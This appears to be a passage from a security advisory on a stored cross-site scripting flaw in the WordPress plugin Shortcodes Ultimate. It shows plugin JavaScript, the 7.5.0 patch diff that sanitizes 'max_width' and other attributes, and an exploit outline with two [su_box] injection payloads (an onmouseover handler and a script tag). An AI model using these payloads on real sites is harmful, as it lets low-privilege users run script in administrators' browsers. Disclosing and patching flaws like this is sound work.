content field\n var $content = $('#su-generator-content')\n if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\n $content.val(self.state.mceSelection)\n }\n },\n dataType: 'json'\n }\n )\n },\n dataType: 'html'\n }\n )\n }\n )\n // Insert shortcode\n $('#su-generator').on('click', '.su-generator-insert', self.insertShortcode)\n // Preview shortcode\n $('#su-generator').on(\n 'click',\n '.su-generator-toggle-preview',\n function (e) {\n // Prepare data\n var $preview = $('#su-generator-preview')\n var $button = $(this)\n // Hide button\n $button.hide()\n // Show preview box\n $preview.addClass('su-generator-loading').show()\n // Bind updating on settings changes\n $settings.find('input, textarea, select').on(\n 'change keyup blur',\n function () {\n self.updatePreview()\n }\n )\n // Update preview box\n self.updatePreview(true)\n // Prevent default action\n e.preventDefault()\n }\n )\n var gp_hover_timer\n // Presets manager - mouseenter\n $('#su-generator').on(\n 'mouseenter click',\n '.su-generator-presets',\n function () {\n clearTimeout(gp_hover_timer)\n $('.su-gp-popup').show()\n }\n )\n // Presets manager - mouseleave\n $('#su-generator').on(\n 'mouseleave',\n '.su-generator-presets',\n function () {\n gp_hover_timer = window.setTimeout(\n function () {\n $('.su-gp-popup').fadeOut(200)\n },\n 600\n )\n }\n )\n // Presets manager - add new preset\n $('#su-generator').on(\n 'click',\n '.su-gp-new',\n function (e) {\n // Prepare data\n var $container = $(this).parents('.su-generator-presets')\n var $list = $('.su-gp-list')\n var id = new Date().getTime()\n // Ask for preset name\n var name = prompt(SUGL10n.presets_prompt_msg, SUGL10n.presets_prompt_value)\n // Name is entered\n if (name !== '' && name !== null) {\n // Hide default text\n $list.find('b').hide()\n // Add new option\n $list.append('<span data-id=\"' + id + '\"><em>' + name + '</em><i class=\"sui sui-times\"></i></span>')\n // Perform AJAX request\n self.addPreset(id, name)\n }\n }\n )\n // Presets manager - load preset\n $('#su-generator').on(\n 'click',\n '.su-gp-list span',\n function (e) {\n // Prepare data\n var shortcode = $('.su-generator-presets').data('shortcode')\n var id = $(this).data('id')\n var $insert = $('.su-generator-insert')\n // Hide popup\n $('.su-gp-popup').hide()\n // Disable hover timer\n clearTimeout(gp_hover_timer)\n // Get the preset\n $.ajax(\n {\n type: 'GET',\n url: ajaxurl,\n data: {\n action: 'su_generator_get_preset',\n id: id,\n shortcode: shortcode,\n nonce: $('#su_generator_presets_nonce').val()\n },\n beforeSend: function () {\n // Disable insert button\n $insert.addClass('button-primary-disabled').attr('disabled', true)\n },\n success: function (data) {\n // Enable insert button\n $insert.removeClass('button-primary-disabled').attr('disabled', false)\n // Set new settings\n self.setSettings(data)\n },\n dataType: 'json'\n }\n )\n // Prevent default action\n e.preventDefault()\n e.stopPropagation()\n }\n )\n // Presets manager - remove preset\n $('#su-generator').on(\n 'click',\n '.su-gp-list i',\n function (e) {\n // Prepare data\n var $list = $(this).parents('.su-gp-list')\n var $preset = $(this).parent('span')\n var id = $preset.data('id')\n // Remove DOM element\n $preset.remove()\n // Show default text if last preset was removed\n if ($list.find('span').length < 1) {\n $list.find('b').show()\n }\n // Perform ajax request\n self.removePreset(id)\n // Prevent <span> action\n e.stopPropagation()\n // Prevent default action\n e.preventDefault()\n }\n )\n }\n\n /**\n\t * Create new preset with specified name from current settings\n\t */\n self.addPreset = function (id, name) {\n // Prepare shortcode name and current settings\n var shortcode = $('.su-generator-presets').data('shortcode')\n var settings = self.getSettings()\n // Perform AJAX request\n $.ajax(\n {\n type: 'POST',\n url: ajaxurl,\n data: {\n action: 'su_generator_add_preset',\n id: id,\n name: name,\n shortcode: shortcode,\n settings: settings,\n nonce: $('#su_generator_presets_nonce').val()\n }\n }\n )\n }\n /**\n\t * Remove preset by ID\n\t */\n self.removePreset = function (id) {\n // Get current shortcode name\n var shortcode = $('.su-generator-presets').data('shortcode')\n // Perform AJAX request\n $.ajax(\n {\n type: 'POST',\n url: ajaxurl,\n data: {\n action: 'su_generator_remove_preset',\n id: id,\n shortcode: shortcode,\n nonce: $('#su_generator_presets_nonce').val()\n }\n }\n )\n }\n\n self.parseSettings = function () {\n var settingsSelector = $('#su-generator-option-skip').val() === 'on'\n ? '#su-generator-settings .su-generator-attr-container:not(.su-generator-skip) .su-generator-attr'\n : '#su-generator-settings .su-generator-attr-container .su-generator-attr'\n // Prepare data\n var query = $selected.val()\n var prefix = $prefix.val()\n var $settings = $(settingsSelector)\n var $content = $('textarea#su-generator-content')\n var content = $content.length ? $content.val() : 'false'\n var result = new String('')\n // Open shortcode\n result += '[' + prefix + query\n // Add shortcode attributes\n $settings.each(\n function () {\n // Prepare field and value\n var $this = $(this)\n var value = ''\n // Selects\n if ($this.is('select')) {\n value = $this.find('option:selected').val()\n }\n // Other fields\n else {\n value = $this.val()\n }\n // Check that value is not empty\n if (value == null) {\n value = ''\n } else if (typeof value === 'array') {\n value = value.join(',')\n }\n // Add attribute\n if (value !== '') {\n result += ' ' + $(this).attr('name') + '=\"' + $(this).val().toString().replace(/\"/gi, \"'\") + '\"'\n }\n }\n )\n // End of opening tag\n result += ']'\n // Wrap shortcode if content presented\n if (content != 'false') {\n result += content + '[/' + prefix + query + ']'\n }\n // Return result\n return result\n }\n\n self.getSettings = function () {\n // Prepare data\n var query = $selected.val()\n var $settings = $('#su-generator-settings .su-generator-attr')\n var $content = $('textarea#su-generator-content')\n var content = $content.length ? $content.val() : 'false'\n var data = {}\n // Add shortcode attributes\n $settings.each(\n function (i) {\n // Prepare field and value\n var $this = $(this)\n var value = ''\n var name = $this.attr('name')\n // Selects\n if ($this.is('select')) {\n value = $this.find('option:selected').val()\n }\n // Other fields\n else {\n value = $this.val()\n }\n // Check that value is not empty\n if (value == null) {\n value = ''\n }\n // Save value\n data[name] = value\n }\n )\n // Add content\n data.content = content.toString()\n // Return data\n return data\n }\n\n self.setSettings = function (data) {\n // Prepare data\n var $settings = $('#su-generator-settings .su-generator-attr')\n var $content = $('#su-generator-content')\n // Loop through settings\n $settings.each(\n function () {\n var $this = $(this)\n var name = $this.attr('name')\n // Data contains value for this field\n if (data.hasOwnProperty(name)) {\n // Set new value\n $this.val(data[name])\n $this.trigger('keyup').trigger('change').trigger('blur')\n }\n }\n )\n // Set content\n if (data.hasOwnProperty('content')) {\n $content.val(data.content).trigger('keyup').trigger('change').trigger('blur')\n }\n // Update preview\n self.updatePreview()\n }\n\n self.updatePreview = function (forced) {\n // Prepare data\n var $preview = $('#su-generator-preview')\n var shortcode = self.parseSettings()\n var previous = $result.text()\n // Check forced mode\n forced = forced || false\n // Break if preview box is hidden (preview isn't enabled)\n if (!$preview.is(':visible')) {\n return\n }\n // Check shortcode is changed is this is not a forced mode\n if (shortcode === previous && !forced) {\n return\n }\n // Run timer to filter often calls\n window.clearTimeout(self.state.preview.timer)\n self.state.preview.timer = window.setTimeout(\n function () {\n self.state.preview.request = $.ajax(\n {\n type: 'POST',\n url: ajaxurl,\n cache: false,\n data: {\n action: 'su_generator_preview',\n shortcode: shortcode,\n nonce: $('#su_generator_preview_nonce').val()\n },\n beforeSend: function () {\n // Abort previous requests\n if (self.state.preview.request) {\n self.state.preview.request.abort()\n }\n // Show loading animation\n $preview.addClass('su-generator-loading').html('')\n },\n success: function (data) {\n // Hide loading animation and set new HTML\n $preview.html(data).removeClass('su-generator-loading')\n },\n dataType: 'html'\n }\n )\n },\n 300\n )\n // Save shortcode to div\n $result.text(shortcode)\n }\n\n self.insert = function (context, args) {\n if (typeof context !== 'string' || typeof args !== 'object') {\n return\n }\n\n self.state.context = context\n self.state.insertArgs = args\n\n var preSelectedShortcode = args.shortcode || ''\n\n var mfpOptions = {\n type: 'inline',\n alignTop: true,\n closeOnBgClick: false,\n mainClass: 'su-generator-mfp',\n items: {\n src: '#su-generator'\n },\n callbacks: {}\n }\n\n mfpOptions.callbacks.open = () => {\n if (preSelectedShortcode) {\n $choice.filter(`[data-shortcode=\"${preSelectedShortcode}\"]`).trigger('click')\n } else {\n window.setTimeout(() => $search.focus(), 200)\n }\n\n // self.el.body.addClass( 'su-mfp-shown' );\n\n if (\n typeof tinyMCE !== 'undefined' &&\n\t\t\t\ttinyMCE.activeEditor != null &&\n\t\t\t\ttinyMCE.activeEditor.hasOwnProperty('selection')\n ) {\n self.state.mceSelection = tinyMCE.activeEditor.selection.getContent({ format: 'text' })\n }\n }\n\n mfpOptions.callbacks.close = () => {\n $search.val('')\n $settings.html('').hide()\n $generator.removeClass('su-generator-narrow')\n $filter.show()\n $choices.show()\n $choice.show()\n\n self.state.mceSelection = ''\n\n // self.el.body.removeClass( 'su-mfp-shown' );\n }\n\n $.magnificPopup.open(mfpOptions)\n }\n\n self.insertShortcode = function () {\n var shortcode = self.parseSettings()\n\n self.addPreset('last_used', SUGL10n.last_used)\n\n $.magnificPopup.close()\n\n $result.text(shortcode)\n\n if (self.state.context === 'html') {\n var HTMLEditor = document.getElementById(self.state.insertArgs.editorID)\n self.insertAtCaret(HTMLEditor, shortcode)\n }\n\n if (self.state.context === 'classic') {\n window.wp.media.editor.insert(shortcode)\n }\n\n if (self.state.context === 'block') {\n var props = self.state.insertArgs.props\n\n if (props.attributes.hasOwnProperty('content')) {\n props.setAttributes({ content: props.attributes.content + shortcode })\n } else if (props.name === 'core/shortcode') {\n var originalText = props.attributes.hasOwnProperty('text')\n ? props.attributes.text\n : ''\n\n props.setAttributes({ text: originalText + shortcode })\n }\n }\n\n if (self.state.context === 'callback') {\n if (typeof self.state.insertArgs.callback === 'function') {\n self.state.insertArgs.callback(shortcode)\n }\n }\n }\n\n self.insertAtCaret = (field, text) => {\n var start = field.selectionStart\n field.value = field.value.substring(0, start) + text + field.value.substring(start)\n field.focus()\n field.selectionStart = start + text.length\n }\n\n return {\n init: self.init,\n insert: self.insert\n }\n})(jQuery)\n\njQuery(document).ready(window.SUG.App.init)\n"]} \ No newline at end of file @@ -86,7 +86,7 @@ 'radius' => '3', 'class' => '', 'id' => '', - 'max_width' => '', + 'max_width' => 'none', ), $atts, 'box' @@ -96,6 +96,10 @@ $atts['box_color'] = $atts['color']; } + $atts['box_color'] = su_sanitize_css_color( $atts['box_color'] ); + $atts['title_color'] = su_sanitize_css_color( $atts['title_color'] ); + $atts['style'] = sanitize_key( $atts['style'] ); + $atts['radius'] = is_numeric( $atts['radius'] ) ? intval( $atts['radius'] ) : 0; @@ -104,13 +108,17 @@ ? $atts['radius'] - 2 : 0; - $max_width = !empty($atts['max_width']) ? 'max-width:' . (is_numeric($atts['max_width']) ? $atts['max_width'] . 'px' : $atts['max_width']) . ';' : ''; + $atts['max_width'] = su_sanitize_css_value( $atts['max_width'] ); + + if ( is_numeric( $atts['max_width'] ) ) { + $atts['max_width'] = intval( $atts['max_width'] ) . 'px'; + } su_query_asset( 'css', 'su-shortcodes' ); // Return result return sprintf( - '<div class="su-box su-box-style-%1$s%2$s" id="%10$s" style="border-color:%3$s;border-radius:%4$spx;%11$s"><div class="su-box-title" style="background-color:%5$s;color:%6$s;border-top-left-radius:%7$spx;border-top-right-radius:%7$spx">%8$s</div><div class="su-box-content su-u-clearfix su-u-trim" style="border-bottom-left-radius:%7$spx;border-bottom-right-radius:%7$spx">%9$s</div></div>', + '<div class="su-box su-box-style-%1$s%2$s" id="%10$s" style="border-color:%3$s;border-radius:%4$spx;max-width:%11$s"><div class="su-box-title" style="background-color:%5$s;color:%6$s;border-top-left-radius:%7$spx;border-top-right-radius:%7$spx">%8$s</div><div class="su-box-content su-u-clearfix su-u-trim" style="border-bottom-left-radius:%7$spx;border-bottom-right-radius:%7$spx">%9$s</div></div>', esc_attr( $atts['style'] ), su_get_css_class( $atts ), esc_attr( su_adjust_brightness( $atts['box_color'], -20 ) ), @@ -121,7 +129,7 @@ su_do_attribute( $atts['title'], true ), su_do_nested_shortcodes( $content, 'box' ), sanitize_html_class( $atts['id'] ), - $max_width + esc_attr($atts['max_width']) ); } @@ -119,6 +119,9 @@ 'custom_gallery' ); + $atts['width'] = intval( $atts['width'] ); + $atts['height'] = intval( $atts['height'] ); + $slides = su_get_slides( $atts ); $slides = apply_filters( 'su/shortcode/custom_gallery/slides', $slides, $atts ); @@ -302,6 +302,8 @@ $atts['class'] .= ' su-image-carousel-adaptive'; } + $atts['max_width'] = su_sanitize_css_value( $atts['max_width'] ); + if ( is_numeric( $atts['max_width'] ) ) { $atts['max_width'] = $atts['max_width'] . 'px'; } @@ -138,11 +138,15 @@ $atts['padding'] = "{$atts['padding']}px"; } + $atts['width'] = su_sanitize_css_value( $atts['width'], 'auto' ); + $atts['min_width'] = su_sanitize_css_value( $atts['min_width'], 'none' ); + $atts['max_width'] = su_sanitize_css_value( $atts['max_width'], '600px' ); + $style = array( 'display:none', - 'width:' . sanitize_text_field( $atts['width'] ), - 'min-width:' . sanitize_text_field( $atts['min_width'] ), - 'max-width:' . sanitize_text_field( $atts['max_width'] ), + 'width:' . $atts['width'], + 'min-width:' . $atts['min_width'], + 'max-width:' . $atts['max_width'], 'margin-top:' . sanitize_text_field( $atts['margin'] ), 'margin-bottom:' . sanitize_text_field( $atts['margin'] ), 'padding:' . sanitize_text_field( $atts['padding'] ), @@ -225,7 +225,7 @@ '{{BACKGROUND}}' => esc_attr( $atts['background'] ), '{{COLOR}}' => esc_attr( $atts['color'] ), '{{FONT_SIZE}}' => esc_attr( su_maybe_add_css_units( $atts['font_size'], 'px' ) ), - '{{MAX_WIDTH}}' => esc_attr( su_maybe_add_css_units( $atts['max_width'], 'px' ) ), + '{{MAX_WIDTH}}' => esc_attr( su_sanitize_css_value( su_maybe_add_css_units( $atts['max_width'], 'px' ), '300px' ) ), '{{ALIGN}}' => sanitize_key( $atts['text_align'] ), '{{OUTLINE}}' => sanitize_key( $atts['outline'] ), '{{REFERENCE_TAG}}' => sanitize_key( $atts['reference_tag'] ), @@ -3,7 +3,7 @@ License: GPLv3 Donate link: https://getshortcodes.com/pricing/ Tags: posts, carousel, shortcode, toggle, columns -Stable tag: 7.4.9 +Stable tag: 7.5.0 Requires PHP: 5.4 Requires at least: 5.0 Tested up to: 6.9 @@ -141,6 +141,18 @@ += 7.5.0 + + +- Fixed "WP_Scripts::add was called incorrectly" notice on WordPress 6.9.1 +- Improved input sanitization in several shortcodes + + += 7.4.10 + +This update features security improvements and is recommended for all users + + = 7.4.9 This update features security improvements and is recommended for all users @@ -8,7 +8,7 @@ * Description: A comprehensive collection of visual components for WordPress * Text Domain: shortcodes-ultimate * License: GPLv3 - * Version: 7.4.9 + * Version: 7.5.0 * Requires PHP: 5.4 * Requires at least: 5.0 * Tested up to: 6.9 @@ -51,6 +51,7 @@ 'localhost' => true, ), 'is_live' => true, + 'is_org_compliant' => true, ) ); } return $su_fs; @@ -63,6 +64,6 @@ } } define( 'SU_PLUGIN_FILE', __FILE__ ); - define( 'SU_PLUGIN_VERSION', '7.4.9' ); + define( 'SU_PLUGIN_VERSION', '7.5.0' ); require_once dirname( __FILE__ ) . '/plugin.php'; } \ No newline at end of file
Exploit Outline
1. Authenticate as a Contributor or any role with the ability to create or edit posts. 2. Create a new post and insert the [su_box] shortcode. 3. Supply a payload to the 'max_width' attribute that closes the style attribute and adds an event handler, for example: [su_box max_width='600px;" onmouseover="alert(document.domain)"']Hover here[/su_box]. 4. Alternatively, use a payload that closes the style attribute and the opening div tag to inject a script tag: [su_box max_width='600px;"></style><script>alert(1)</script><style>"']. 5. Save or publish the post. 6. View the post as a different user (e.g., an Administrator). The JavaScript executes when the event is triggered (e.g., on mouseover).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.